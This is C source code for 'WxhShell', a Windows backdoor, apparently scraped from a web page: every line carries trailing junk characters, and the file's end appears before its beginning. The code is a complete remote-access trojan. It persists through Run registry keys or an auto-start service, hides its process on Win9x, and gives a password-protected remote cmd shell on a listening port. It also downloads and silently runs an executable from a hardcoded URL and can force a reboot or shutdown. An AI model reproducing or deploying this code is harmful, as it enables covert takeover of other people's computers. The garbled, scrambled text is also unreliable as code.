    if(Boot(SHUTDOWN)) :f (UZmV$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xab1`~%K  
    else { 6 J[ {?,  
    closesocket(wsh); (+}H ih  
    ExitThread(0); !mhV$2&r  
    } ,Cx @]]  
    break; Wkw.z  
    } \C;cs&\Q  
  // 获取shell ig Fz~  
  case 's': { !-1UJqO  
    CmdShell(wsh); +[C(hhk("  
    closesocket(wsh); &r s+x<  
    ExitThread(0); s0,c4y  
    break; t|q@~B :  
  } dH"wYMNL  
  // 退出 ?&?gQ#\N_J  
  case 'x': { 0Q>f,}W%>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P)x&9OHV  
    CloseIt(wsh); qP? V{N  
    break; @{16j# 'R  
    } RWM9cV5  
  // 离开 ~/LO @  
  case 'q': { SYkLia(Ty  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u|prVzm\m  
    closesocket(wsh); iX4?5yz~<  
    WSACleanup(); 4DaLt&1  
    exit(1); n$B SO  
    break; ';"W0  
        } %D|p7&  
  }  ,r\  
  } 2LS03 27  
@ *W)r~ "~  
  // 提示信息 * S4IMfp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1fwjW0t  
} yn=BO`sgW  
  } @jb -u S  
pC<~\RR  
  return; 1FC'DH!  
} A/eZnsk  
eZpyDw C{  
// shell模块句柄 OxGKtnAjf  
int CmdShell(SOCKET sock) F)dJws7-  
{ bHx09F]  
STARTUPINFO si; ._2#89V  
ZeroMemory(&si,sizeof(si)); 1&%6sZN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "b)Y5[nW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vsc)EM ]  
PROCESS_INFORMATION ProcessInfo; aH7i$U&  
char cmdline[]="cmd"; [JI>e;l C:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1b*Me'  
  return 0; j >f  
} [-}LEH1[p  
' lt5|  
// 自身启动模式 2JY]$$K7  
int StartFromService(void) jI})\5<R  
{ <Uj~S  
typedef struct epw*Px  
{ 8 nCw1   
  DWORD ExitStatus; ^5j+O.zgN  
  DWORD PebBaseAddress; zJC!MeN  
  DWORD AffinityMask; CJ+/j=i;~c  
  DWORD BasePriority; iZsZSW \  
  ULONG UniqueProcessId; ^e*Tg&  
  ULONG InheritedFromUniqueProcessId; L9(mY `d>"  
}   PROCESS_BASIC_INFORMATION; SM%N ]/@U  
d.wu   
PROCNTQSIP NtQueryInformationProcess; )S41N^j.  
7K"{}:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )F_0('=t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nymF`0HYe1  
_:(RkS!x  
  HANDLE             hProcess; OR84/^>  
  PROCESS_BASIC_INFORMATION pbi; 2% ],0,o  
./SDZ:5/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xi5G?r  
  if(NULL == hInst ) return 0; Da.eVU;  
U$zd3a_(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vTE3-v[i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kD_Ac{{<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y#aL]LxZE  
}_,\yC9F  
  if (!NtQueryInformationProcess) return 0; T!-*;yu  
+qN}oyL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j1[Ng #.  
  if(!hProcess) return 0; Vf28R,~m  
MR")  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rw:z|-r  
N{/):O  
  CloseHandle(hProcess); zVEG ) Hr  
T'VZ=l[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &6 ymGo  
if(hProcess==NULL) return 0; n1yIQ8F  
Ep>} S  
HMODULE hMod; \#)|6w-  
char procName[255]; 0v7#vZ  
unsigned long cbNeeded; rV6&:\  
:#_Ne?\a@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S F:>dneB  
il8n K  
  CloseHandle(hProcess); ,|5|aVfh  
Ez()W,6]g  
if(strstr(procName,"services")) return 1; // 以服务启动 ]iI2  
f\p#3IwwH  
  return 0; // 注册表启动 S10"yhn(-t  
} :%&|5Ytb  
)P13AfK  
// 主模块 j p"hbV  
int StartWxhshell(LPSTR lpCmdLine) \kN?7b^  
{ .wH`9aq;5@  
  SOCKET wsl; h7 r *5E  
BOOL val=TRUE; xh6Yv%\@  
  int port=0; r6WSX;K  
  struct sockaddr_in door; /RG>n  
K_SURTys  
  if(wscfg.ws_autoins) Install(); y$Nqw9  
}Gvu!a#R  
port=atoi(lpCmdLine); qdW"g$fW  
*'i9  
if(port<=0) port=wscfg.ws_port; e4h9rF{Cxn  
[I~&vLTe  
  WSADATA data; _%R]TlL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; { l0[`"EF  
:P'M|U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1hTE^\W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1]&FB{l  
  door.sin_family = AF_INET; _^%DfMP3i\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &':Ecmo~`  
  door.sin_port = htons(port); "26=@Q^Y  
R$|"eb5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5&C:&=Y  
closesocket(wsl); m%ec=%L9  
return 1; }srmG|@:  
} j^1Yz}6nR  
4*U5o!w1{  
  if(listen(wsl,2) == INVALID_SOCKET) { EvP\;7B  
closesocket(wsl); 5^5hhm4  
return 1; \rpXG9  
} ;2y4^  
  Wxhshell(wsl); =&K8~   
  WSACleanup(); iNCT(N~.  
c0ue[tb  
return 0; <q`'[1Y4  
7Gwo:s L  
} oKMr Pr[`  
7 /6 Zp?  
// 以NT服务方式启动 ?-v]+<$Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =w5]o@  
{ P Dgd'y  
DWORD   status = 0; '.B5CQ  
  DWORD   specificError = 0xfffffff; fxQ4kiI  
xqQLri}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -HU4Ow  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pN4gHi=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?hmuAgOtbh  
  serviceStatus.dwWin32ExitCode     = 0; 8wEUly  
  serviceStatus.dwServiceSpecificExitCode = 0; XN&cM,   
  serviceStatus.dwCheckPoint       = 0; +\R__tx;  
  serviceStatus.dwWaitHint       = 0; ]N;\AXZ7  
I7 = 4%)A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YD{Ppz  
  if (hServiceStatusHandle==0) return; :.P{}\/  
@ogj -ol&  
status = GetLastError(); }&LVD$Bz  
  if (status!=NO_ERROR) n&%0G2m:  
{ 9;7|MPbR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (V x2*Aw]  
    serviceStatus.dwCheckPoint       = 0; OLZs}N+;]  
    serviceStatus.dwWaitHint       = 0; h(K}N5`  
    serviceStatus.dwWin32ExitCode     = status; ]3Y J a  
    serviceStatus.dwServiceSpecificExitCode = specificError; QOR92}yC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /O}lSXo6E  
    return; : i{tqY%  
  } <MyT ;  
B,fVNpqo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \0veld  
  serviceStatus.dwCheckPoint       = 0; ]!X[[w)  
  serviceStatus.dwWaitHint       = 0; Sby(?yg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dKQu  
} AM0CIRX$  
v[<x>?i D_  
// 处理NT服务事件,比如:启动、停止 w9w=2 *  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sq SiuO.D  
{ ` 7P%muY.  
switch(fdwControl) LzQOzl@z  
{ 5AK@e|G$w  
case SERVICE_CONTROL_STOP: o1Krp '*  
  serviceStatus.dwWin32ExitCode = 0; z2lT4SAv+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ea)=K'Pz  
  serviceStatus.dwCheckPoint   = 0; 7J ;\&q'  
  serviceStatus.dwWaitHint     = 0; /|p\l"  
  { 5gSe=|we*p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YU`}T<;bg  
  } !l-Q.=yw  
  return; l@0${&n  
case SERVICE_CONTROL_PAUSE: Vq599M:)V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l* z "wA-  
  break; nR=!S5>S  
case SERVICE_CONTROL_CONTINUE: t3b M4+n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qjsEyro$-  
  break; " ?Ux\)*  
case SERVICE_CONTROL_INTERROGATE: ti^=aB   
  break; H0f]Swh0a  
}; tM|/OJ7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V-(*{/^"  
} D}`MY\H  
t2Px?S?  
// 标准应用程序主函数 TQtHU6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %O$=%"D6  
{ t*J?#r  
AqAL)`#K  
// 获取操作系统版本 h0 Xc=nj  
OsIsNt=GetOsVer(); ? q_%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A%cJ5dF8~  
j 8)*'T  
  // 从命令行安装 ,e^~(ITaq  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zu*7t<W  
G{!(2D4!  
  // 下载执行文件 4F"%X &$  
if(wscfg.ws_downexe) { C/4r3A/u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KF6N P  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]9-iEQ  
} PXG@]$~3  
bcUSjG>  
if(!OsIsNt) { o:B?hr'\  
// 如果时win9x,隐藏进程并且设置为注册表启动 DX^8w?t  
HideProc(); Xf[;^?]X  
StartWxhshell(lpCmdLine); r PTfwhs  
} %d%FI"!K  
else P]iJ"d]+X  
  if(StartFromService()) !"ir}Y%  
  // 以服务方式启动 H.;2o(vD  
  StartServiceCtrlDispatcher(DispatchTable); 9^&B.6!6  
else -Q/wW4dE=  
  // 普通方式启动 wRZFBf~ :  
  StartWxhshell(lpCmdLine); 3 Q~0b+k  
lcM  
return 0; DL#y_;#3_  
} }mo)OyIX  
dlA0&;}z  
X f{9rZ+  
OnH3Ss$  
=========================================== [ahwJF#r  
K_n GZ/`[  
 9I:3  
3mHP=)  
G?,"AA;  
!*3]PZ25a(  
" H|$ *HQm  
GO.7IL{ {  
#include <stdio.h> KG4zjQf  
#include <string.h> M~h.M PI  
#include <windows.h> A)gSOC{3F)  
#include <winsock2.h> .mNw^>:cq  
#include <winsvc.h> oVr:ZwkG3  
#include <urlmon.h> wwet90_g  
gi>W&6  
#pragma comment (lib, "Ws2_32.lib") 0e07pF/!  
#pragma comment (lib, "urlmon.lib") IEd?-L  
8;"9A  
#define MAX_USER   100 // 最大客户端连接数 H]W'mm  
#define BUF_SOCK   200 // sock buffer Ct^=j@g  
#define KEY_BUFF   255 // 输入 buffer )H`V\ H[0P  
%Eugy  
#define REBOOT     0   // 重启 ;n.h!wmJ}  
#define SHUTDOWN   1   // 关机 G^cMY$?99  
/;T tMQt  
#define DEF_PORT   5000 // 监听端口 cNikLd~?A  
>5E1y!  
#define REG_LEN     16   // 注册表键长度 ;W|GUmADf  
#define SVC_LEN     80   // NT服务名长度 ;<GK{8  
'(SivD  
// 从dll定义API yeMe2Zx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `\P1Ff@z0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bPif"dhHe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?D,j!Hy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fq4uiFi<  
L& rtN@5;  
// wxhshell配置信息 DAg*  
struct WSCFG { orYZ<,u  
  int ws_port;         // 监听端口 U<r!G;^`  
  char ws_passstr[REG_LEN]; // 口令 =.OzpV)=V  
  int ws_autoins;       // 安装标记, 1=yes 0=no K}M lC}oIt  
  char ws_regname[REG_LEN]; // 注册表键名 XH(-anU"!P  
  char ws_svcname[REG_LEN]; // 服务名 Y DW^N] G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %iME[| u&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BR-wL3x b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $BT[fJ'k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zk!7TUZ">w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %"=GQ3u[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o~W,VhCP  
GY %$7   
}; @4Zkkjc4b  
H|7XfM  
// default Wxhshell configuration *_d N9  
struct WSCFG wscfg={DEF_PORT, x4MTE?hT  
    "xuhuanlingzhe", W8Wjq DQ  
    1, *>`6{0, 9  
    "Wxhshell", {; th~[  
    "Wxhshell", z,hBtq:-$  
            "WxhShell Service", %!AzFL J|Z  
    "Wrsky Windows CmdShell Service", Vugb;5Vl  
    "Please Input Your Password: ", V rd16s  
  1, sP}u  zS  
  "http://www.wrsky.com/wxhshell.exe", x%O6/rl  
  "Wxhshell.exe" s"J)Jc  
    }; _"OE}$C  
'/OQ[f=K  
// 消息定义模块 )Z|G6H`c3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QN?EI: q=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j:>0XP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4.uaWM)2  
char *msg_ws_ext="\n\rExit."; 3Agyp89}Q  
char *msg_ws_end="\n\rQuit."; &cd>.&1<2  
char *msg_ws_boot="\n\rReboot..."; p@Cas  
char *msg_ws_poff="\n\rShutdown..."; KT*>OYI  
char *msg_ws_down="\n\rSave to "; eE=2~ ylU  
>4-9 @i0FV  
char *msg_ws_err="\n\rErr!"; *0eV9!y  
char *msg_ws_ok="\n\rOK!"; Zy.ls&<:  
9[W >`JKo  
char ExeFile[MAX_PATH]; e ky1}  
int nUser = 0; $TS97'$  
HANDLE handles[MAX_USER]; [Y?Y@x"MZ  
int OsIsNt; QSn18V>{  
B[6k [Vs  
SERVICE_STATUS       serviceStatus; @HSK[[?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;<;~;od*/  
'\+"3!$  
// 函数声明 Wv9L }@J  
int Install(void); * hS6F  
int Uninstall(void); Rjlp<  
int DownloadFile(char *sURL, SOCKET wsh); Yh;(puhyA  
int Boot(int flag); Lz p}<B  
void HideProc(void); tZVs0eVF<  
int GetOsVer(void); ,c0LRO   
int Wxhshell(SOCKET wsl); C^5 V  
void TalkWithClient(void *cs); \x\N?$`ANc  
int CmdShell(SOCKET sock); >T\@j\X4  
int StartFromService(void); IbJl/N%o  
int StartWxhshell(LPSTR lpCmdLine); O:a=94  
>dJ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $+ N~Fa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `W" ;4A  
O9o]4;  
// 数据结构和表定义 S0gxVd(  
SERVICE_TABLE_ENTRY DispatchTable[] = h^qZi@L  
{ F u^j- Io  
{wscfg.ws_svcname, NTServiceMain}, b62B|0i  
{NULL, NULL} Ctn?O~u  
}; ~Hv>^u Mh  
J .TK<!  
// 自我安装 $~/cxLcT  
int Install(void) r\FZ-gk}Q  
{ = &?&}pVF  
  char svExeFile[MAX_PATH]; Q<g>WNb  
  HKEY key; /Hq  
  strcpy(svExeFile,ExeFile); ~tV7yY|zr  
o)n)Z~  
// 如果是win9x系统,修改注册表设为自启动 D/ sYH0.V$  
if(!OsIsNt) { A>e-eD xi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q8-hbWNm4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _dz ZS(7M6  
  RegCloseKey(key); }p)Hw2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \=[j9'N>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NP.i,H  
  RegCloseKey(key); C984Ee  
  return 0; W[a"&,okqO  
    } '6e4rn{  
  } )G?\{n-  
} pwS"BTZ  
else { f-|zh#L  
u*W! !(P/  
// 如果是NT以上系统,安装为系统服务 zJl;| E".  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,EVPnH[F~  
if (schSCManager!=0) ]W4{|%@H"  
{ _x3=i\O,  
  SC_HANDLE schService = CreateService X%&7-PO  
  ( V=th-o3[  
  schSCManager, V9qA'k  
  wscfg.ws_svcname, Oq,@{V@)9k  
  wscfg.ws_svcdisp, >;Vfs{Z(q  
  SERVICE_ALL_ACCESS, &7>]# *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .taP2^2Z  
  SERVICE_AUTO_START, G!=(^G@J;  
  SERVICE_ERROR_NORMAL, s3yGL  
  svExeFile, Skr0WQ  
  NULL, <_Z.fdUA  
  NULL, ={ -kQq  
  NULL, 44B D2`nF  
  NULL, XqUQ{^;aI  
  NULL dT% eq7=  
  ); BBGub?(dR  
  if (schService!=0) +F60_O `  
  { .boB b<  
  CloseServiceHandle(schService); @ <2y+_e  
  CloseServiceHandle(schSCManager); rPyjr(I"_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iM;Btv[|  
  strcat(svExeFile,wscfg.ws_svcname); GYiL}itD=3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3!/J!X3L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &z5?]`ALu  
  RegCloseKey(key); 1%R${Qhr  
  return 0; D.%%D%AdB  
    } &!O?h/&X3  
  } ZWGX*F#}P  
  CloseServiceHandle(schSCManager); (VI(Nv:o@  
} k\;D;e{  
} wbcip8<t  
n'{jc 6&|  
return 1; x=L"qC9f/  
} /wJ4hHY  
'0 )`.  
// 自我卸载 3)LS#=  
int Uninstall(void) a9.255  
{ [g<gu~  
  HKEY key; ;<' 'oY  
rP2h9Cb  
if(!OsIsNt) { X[H.t$w5A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7-n HPDp'  
  RegDeleteValue(key,wscfg.ws_regname); V9}\0joM  
  RegCloseKey(key); K@%T5M4j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { km5gO|V>m  
  RegDeleteValue(key,wscfg.ws_regname); SqRM*Cf=  
  RegCloseKey(key); 8v8-5N  
  return 0; mwsBj)  
  } "=C~I W  
} :AFU5mR4&  
} T ,!CDm$=  
else { u,`3_I^  
2)\MxvfOh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); { pQJ.QI  
if (schSCManager!=0) Qt{V&Z7  
{ `AvK8Wh<+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 -|7I7(G$  
  if (schService!=0) nvLdgu4P>  
  { ^E\n^D-RV  
  if(DeleteService(schService)!=0) { }vOg9/[{  
  CloseServiceHandle(schService); N%Y!{k5T7  
  CloseServiceHandle(schSCManager); xoj,>[7 D  
  return 0; QGV#AID3XW  
  } bV2a2#kj  
  CloseServiceHandle(schService); J%xUO1  
  } )B&`<1Oie  
  CloseServiceHandle(schSCManager); +zk5du^gZ  
} x7^VU5w#  
} 517wduj  
r#1W$~?>  
return 1; ^z{Xd|{"  
} l59 N0G  
m-tn|m!J  
// 从指定url下载文件 btnD+O66<  
int DownloadFile(char *sURL, SOCKET wsh) 7G;1n0m-T  
{ ml^=y~J[  
  HRESULT hr; :=+YZ|&j  
char seps[]= "/"; a3w6&e`  
char *token; K;rgLj0m  
char *file; YT'V/8US  
char myURL[MAX_PATH]; qrj f  
char myFILE[MAX_PATH]; e1JH N  
lg2I|Z6DH  
strcpy(myURL,sURL); 'U ZzH$h  
  token=strtok(myURL,seps); vL[IVBG^  
  while(token!=NULL) R2{]R&wtn0  
  { Uf7ACv)Dn  
    file=token; "fhQ{b$i  
  token=strtok(NULL,seps); M=95E$6  
  } O`%F{&;29  
IgwHC0W  
GetCurrentDirectory(MAX_PATH,myFILE); edcz%IOM(  
strcat(myFILE, "\\"); D*VO;?D  
strcat(myFILE, file); B=%%3V)2  
  send(wsh,myFILE,strlen(myFILE),0); C{nk,j L  
send(wsh,"...",3,0); Akc |E!V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [.xc`CF  
  if(hr==S_OK) SB('Nqih  
return 0; 6)ZaK  
else 3dbaCusT$  
return 1; sKKc_H3YSH  
V9Mr&8{S4  
} +_*NY~  
]3='TN8aQF  
// 系统电源模块 h@1/  
int Boot(int flag) M[O22wFs  
{ fJ _MuAv  
  HANDLE hToken; R<Mp$K^b  
  TOKEN_PRIVILEGES tkp; {: _*P TVk  
=?+w5oI0  
  if(OsIsNt) { 'WmjQsf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NKB["+S<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l qh:c  
    tkp.PrivilegeCount = 1; B=^M& {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n{~&^Nby*I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {jR3D!hK  
if(flag==REBOOT) { <3N\OV2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j x< <h _j  
  return 0; rwW"B  
} %`$:/3P$U  
else { zd- *UF i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qB K68B)  
  return 0; 2G5|J{4w  
} Evg#sPu\  
  } KVEc:<|x  
  else { _99 +Vjy  
if(flag==REBOOT) { :(/1,]bF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L>WxAeyu1K  
  return 0; Bfdfw +  
} _7;G$\^&.  
else { LX&O"YY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +lFBH(o]X  
  return 0; cp~6\F;c  
} HA}q.L]#  
} ?z-nY,'^uq  
W=+AU!%  
return 1; XUR#|  
} |?^N@  
*KiY+_8>  
// win9x进程隐藏模块 >j ].`T  
void HideProc(void) s?1Aj<  
{ hv>Xr=RE  
%" mki>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lWJYT <kt  
  if ( hKernel != NULL ) x30|0EHYl[  
  { `}uM91;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d!Y%7LmSE@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yV L >Ie/  
    FreeLibrary(hKernel); . 8ikcs  
  } ^!k_"C)B  
%RF$Y=c'C  
return; wouk~>Jft  
} n!X%i+|4x  
HpUJ_pZ  
// 获取操作系统版本 o.|36#Fa  
int GetOsVer(void) yHs9J1S f  
{ b%@9j;  
  OSVERSIONINFO winfo; N.E{6_{S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n[y^S3}%;  
  GetVersionEx(&winfo); S{]3e-?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *>W6,F7  
  return 1; \}=W*xxB  
  else fMW=ss^fu-  
  return 0; d_Zj W  
} s-x1<+E(  
-H[@]Q4w  
// 客户端句柄模块 R\5fl[  
int Wxhshell(SOCKET wsl) %a0q|)Nrj  
{ + >:}   
  SOCKET wsh; (=gqqOOl~  
  struct sockaddr_in client; rij%l+%@#  
  DWORD myID; ~mah.8G  
'aD"v>  
  while(nUser<MAX_USER) <j#IR  
{ CV{ZoY  
  int nSize=sizeof(client); QJR},nZ3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O)&ME  
  if(wsh==INVALID_SOCKET) return 1; uP8 cW([  
k`[>B k%b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P$AHw;n[R  
if(handles[nUser]==0) XPt>klf  
  closesocket(wsh); 3]'h(C  
else )NZ&m$I|-  
  nUser++; 0N4ZV}s,d  
  } 7hMh%d0d(_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tb:'M:dM"  
SnvT !ca  
  return 0; " ? V;C  
} 4-'0# a  
zI(uexxPqd  
// 关闭 socket Ly v"2P  
void CloseIt(SOCKET wsh) @RoU   
{ mN R}%s  
closesocket(wsh); @ZV>Cl@%2  
nUser--; -\ew,y  
ExitThread(0); Qch'C0u  
} z [u!C/  
N5cC!K  
// 客户端请求句柄 z?`7g%Z?{  
void TalkWithClient(void *cs) -(%Xq{  
{ i \lr KA  
7VkjnG^!:  
  SOCKET wsh=(SOCKET)cs; 6BQq|:U  
  char pwd[SVC_LEN]; YCzH@94QeV  
  char cmd[KEY_BUFF]; |Df`Aq(eYJ  
char chr[1]; mc,HliiJ  
int i,j; tI9p2!  
~G^+.>j  
  while (nUser < MAX_USER) { D`B*+  
[fkt3fS  
if(wscfg.ws_passstr) { |-GbHfz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0BjP|API  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); duCXCX^n T  
  //ZeroMemory(pwd,KEY_BUFF); }J\7IsM&  
      i=0; wn<k "6x  
  while(i<SVC_LEN) { gMZrtK`<  
>k/ rJ[Sc  
  // 设置超时 = 4'r+2[  
  fd_set FdRead; 5Go@1X]I  
  struct timeval TimeOut; wb]Z4/j#  
  FD_ZERO(&FdRead); SEZ08:>x r  
  FD_SET(wsh,&FdRead); irB}h!@  
  TimeOut.tv_sec=8; .0X 5Vy  
  TimeOut.tv_usec=0; ~1,$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = P$7 "  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0\"]XYOH  
;'<SsI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t`V U<  
  pwd=chr[0]; EzCi%>q  
  if(chr[0]==0xd || chr[0]==0xa) { YsTF10  
  pwd=0; Ac +fL  
  break; 4!'4 l=jO  
  } kO/;lrwC  
  i++; AVc|(~V  
    } "Vwk&~B%  
[>QzT"=  
  // 如果是非法用户,关闭 socket *;T HD>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i(q a'*  
} Fj <a;oV  
9Z3Y,`R,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =}SC .E\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k>\s6  
6?0QzSpfC#  
while(1) { cI <T/~P  
`n e9&+  
  ZeroMemory(cmd,KEY_BUFF); /9-kG  
DPl&e-`  
      // 自动支持客户端 telnet标准   _]+ \ B  
  j=0; *zX^Sg-[  
  while(j<KEY_BUFF) { jH9.N4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }\ya6Gi8  
  cmd[j]=chr[0]; N&Uqzt*  
  if(chr[0]==0xa || chr[0]==0xd) { 5VLC\QgK^  
  cmd[j]=0; 6:G ::"ew  
  break; IU]@%jA_:A  
  } h~&5;  
  j++; DwXSlsN3v  
    } (xBWxeL~  
k]A$?C0Q<%  
  // 下载文件 {r?Ly15  
  if(strstr(cmd,"http://")) { Bjb8#n04  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BUla2p  
  if(DownloadFile(cmd,wsh)) 95tHi re  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ::Di  
  else Novn#0a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CX>QP&Gj  
  } /JP%gD"8  
  else { 6 &MATMR  
W -5wjc  
    switch(cmd[0]) { R%r<AL5kJk  
  L'x[wM0w;  
  // 帮助 B%Z,Xjq  
